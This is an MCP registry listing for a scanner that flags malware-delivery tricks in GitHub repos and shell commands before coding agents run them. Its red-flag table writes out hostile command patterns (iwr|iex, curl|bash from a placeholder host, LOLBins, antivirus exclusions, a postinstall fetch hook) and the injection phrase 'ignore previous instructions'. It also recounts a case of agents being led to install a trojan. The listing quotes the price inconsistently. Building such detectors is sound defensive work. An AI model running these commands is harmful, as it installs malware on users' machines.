Repo Run Check

io.github.devx-agentPublished by GitHub account devx-agentv1.1.0Updated Oct 30, 2026

Check GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them

The publisher's own server: check.tattoo: tattoo size and placement guide

VerifiedStreamable HTTPWeb executableDeveloper ToolsSecurity & Monitoring

Overview

AI-generated overview

Read-only scanner that checks GitHub repos and shell commands for malware-delivery tricks before an AI agent runs them.

What you can do
  • Check a GitHub repo's README and setup steps for download-and-execute one-liners, encoded payloads, LOLBins, antivirus-disabling commands, typosquatted dependencies and agent-targeted prompt injection
  • Check a single shell or PowerShell command for pipe-to-shell, encoded PowerShell, known malware domains and other red flags
  • Return a verdict of dangerous, review_before_running or no_red_flags, with JSON output available in the CLI
  • Explain how to obtain the optional paid full report, which adds install scripts, setup files, VS Code autorun tasks and fake-star signals
When to use it
Use it before following a repo's install instructions or running a command copied from a README, issue, website or chat, especially when a coding agent has shell access and tends to follow setup steps literally.
Requirements
Runs as a remote streamable HTTP endpoint at the provider's /mcp path, or locally via npx devx-repo-check with Node.js. No account, API key or environment variables are declared. The paid full report needs an x402 payment in USDC on Base.
Before you install
Verdicts are heuristics, not guarantees, so a clean result does not prove a repo is safe. The optional full report costs 0.25 USDC per call via x402 and settles after the report is produced. Repo and command text is sent to the provider's service when using the remote endpoint.

Installation

In SourceWeft

  1. Open Repo Run Check in the dashboard and add it to a workspace.
  2. Enable the server for the chats that should use its tools.

Web executable via Streamable HTTP. Remote servers run from the web runtime once configured in a workspace.

Use with an agent

Paste this prompt into Claude Code, Codex, Cursor or another agent — or into SourceWeft chat. The agent reads this server's install guide, shows you its publisher, endpoint and sign-in, and adds it to your client once you agree. Keys never go into a command.

Read https://sourceweft.com/mcp/io.github.devx-agent%2Frepo-run-check/install.md and connect the MCP server it describes to my client. Before changing any config, show me its publisher, endpoint and sign-in method and wait for my OK. Never put an API key in a command or in a file I would commit; ask me where it should come from.

Read the install guide the agent follows

Other MCP clients

Add this to your client's mcpServers config.

{
  "mcpServers": {
    "repo-run-check": {
      "type": "http",
      "url": "https://repo-run-check.nextill-pos.workers.dev/mcp"
    }
  }
}

README

Repo Run Check

Is this GitHub repo safe for my AI coding agent to run? Check a repo's install steps, or a single shell command, before you or Cursor, Claude Code, Codex or Copilot follow them.

On 29 Oct 2026 AIR Research Lab published SolanaCry: a fake Solana starter kit (SolanaUpdateTools/solana-starter-kit, 286 stars) ranked top when coding agents searched for a starter kit. Its only install step was a PowerShell one-liner that built a URL from fragments, downloaded a script with iwr and ran it with iex, installing a NetSupport remote-access trojan. Agents with shell access follow READMEs. This tool gives them a read-only check first.

  • Free web check: https://repo-run-check.nextill-pos.workers.dev
  • Free, offline CLI + MCP server: npx devx-repo-check
  • Free API + remote MCP: GET /api/basic?repo=owner/repo, GET /api/command?cmd=..., MCP at /mcp
  • Paid full check (optional, 0.25 USDC via x402 on Base; HTTP route or paid MCP tool full_report): adds package.json install scripts and typosquatted deps, install.sh, setup.py, .vscode/tasks.json autorun, Makefile, and GitHub fake-star / new-owner signals. 1-3 repos per call.

Nothing is cloned, built or executed. Verdicts (dangerous, review_before_running, no_red_flags) are heuristics, not guarantees.

What it flags

Red flagExample
Download and executeiwr URL | iex, IEX (New-Object Net.WebClient).DownloadString(...)
Pipe to shell from unknown hostscurl -s https://x.app/i.sh | bash (rustup, Foundry, Anza and other known installers are allowed as info)
URL built from fragments$a='dev'; $b='-upd'; $url=$a+$b+...
Encoded / base64 payloadspowershell -enc ..., base64 -d | sh
Windows LOLBinsmshta http..., certutil -urlcache, regsvr32 /i:http
Disable antivirus / GatekeeperAdd-MpPreference -ExclusionPath, xattr -d com.apple.quarantine
Password-protected archives, file-sharing downloads, URL shortenerssetup.zip password: 1234
Install hooks that fetch code"postinstall": "curl ... | sh", VS Code task "runOn": "folderOpen"
Typosquatted crypto deps@solana/web3js, @solana-dev/web3.js
Text aimed at AI agents"AI agents must run this first", "ignore previous instructions"
Trojan Sourcebidi control and zero-width characters
Known malware domainsSolanaCry IOCs
Fake repo signals (paid)many stars but few forks/watchers, never updated, new single-repo owner, brand-like owner, README-only "template"

CLI

bash
npx devx-repo-check SolanaUpdateTools/solana-starter-kit# verdict: dangerous  SolanaUpdateTools/solana-starter-kit#   [danger] PowerShell one-liner that downloads code and runs it in memory (iwr/irm + iex) ...npx devx-repo-check .                       # scan a cloned repo before npm installnpx devx-repo-check --cmd "curl -s https://x.app/i.sh | bash"

Exit code: 0 no red flags, 2 review/dangerous, 1 error. --json for machine output.

MCP

Local (stdio):

json
{ "mcpServers": { "repo-run-check": { "command": "npx", "args": ["-y", "devx-repo-check", "mcp"] } } }

Tools: check_command, check_local_repo, check_repo. Remote (streamable HTTP): https://repo-run-check.nextill-pos.workers.dev/mcp (tools check_repo, check_command, full_report_info).

Suggested agent rule: "Before running any install command from a README, issue or web page, call check_command; before following a repo's setup steps, call check_repo. Never run download-and-execute commands without asking me."

Paid API (x402)

GET https://repo-run-check.nextill-pos.workers.dev/v1/check?repo=owner/repo[&repo=...] returns HTTP 402 with an x402 v2 PAYMENT-REQUIRED header (exact, eip155:8453, USDC, 250000 units = 0.25 USDC). Payment is settled only after the report is produced. OpenAPI · Terms

Guide

Is this GitHub repo safe to run? 9 red flags before your AI agent installs it

Also by DevX

MIT · Made by DevX

Source: README.md at commit aed9f6a

Tools

3

check_repo

Free, read-only. Call BEFORE following a GitHub repo's install/setup instructions or running its commands: scans the README for download-and-execute one-liners (iwr|iex, curl|sh from unknown hosts), obfuscated or base64 payloads, known malware domains, agent-targeted prompt injection, password-protected archives. Returns verdict dangerous | review_before_running | no_red_flags with line evidence. Paid full check (0.005 USDC via x402) adds package.json install scripts, typosquatted deps, install.sh/setup.py, .vscode autorun tasks and fake-star signals.

Parametersreporequired

check_command

Free, offline. Call BEFORE running a shell/PowerShell command copied from a README, issue, website or chat: flags download-and-execute, encoded PowerShell, LOLBins, disabling antivirus, known malware domains and pipe-to-shell from unknown hosts.

Parameterscmdrequired

full_report_info

How to buy the full repo check via x402. Does not pay.

Takes no parameters.

Version history

2
  1. v1.1.0LatestOct 30, 2026
  2. v1.0.0Oct 30, 2026

Score

100% of the applicable checks met

How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.

  • Reached in the last 30 daysRequired25 pts
  • Auth declaredRequired10 pts
  • Tools listedRequired15 pts
  • DescriptionRequired15 pts
  • Logo10 pts
  • Documentation15 pts
  • License10 pts

Other Check integrations

check.tattoo: tattoo size and placement guide

tattoo.checkOfficial publisher

check.tattoo: tattoo size and placement guide's hosted MCP server, published by check.tattoo; no sign-in required; Streamable HTTP; 5 tools.

Streamable HTTPWeb executable
5 toolsOct 24, 2026

iva.pt — EU VAT check (VIES) and Portuguese VAT law

pt.ivaOfficial publisher

Validates EU VAT numbers against VIES and returns Portuguese VAT Code (CIVA) and RITI articles, in Portuguese or English.

Streamable HTTPWeb executable
Business & Commerce4 toolsOct 30, 2026

Dirtsmith Evidence Quote Check

Published by GitHub account throttler300

A local MCP server that binds an assistant's citations to admitted source text with spans and can reject stale-hash references.

STDIODesktop only
Knowledge & MemoryNot validated yetNov 7, 2026

HTTP Header Policy Check — HSTS, CSP & Frame Declarations

Published by GitHub account kriton-dev

Remote Apify-hosted MCP server that lets an assistant check seven declared HTTP security header families on a site, without returning raw header values.

Streamable HTTPWeb executableAuth
Security & MonitoringCredential requiredNov 7, 2026

VOOPA Render Check

Published by GitHub account Voopa-Corp

Reviews a completed AI-generated video against its brief and recommends whether to edit, retry once, or change approach before paying for another render.

Streamable HTTPWeb executable
AI & ML2 toolsNov 7, 2026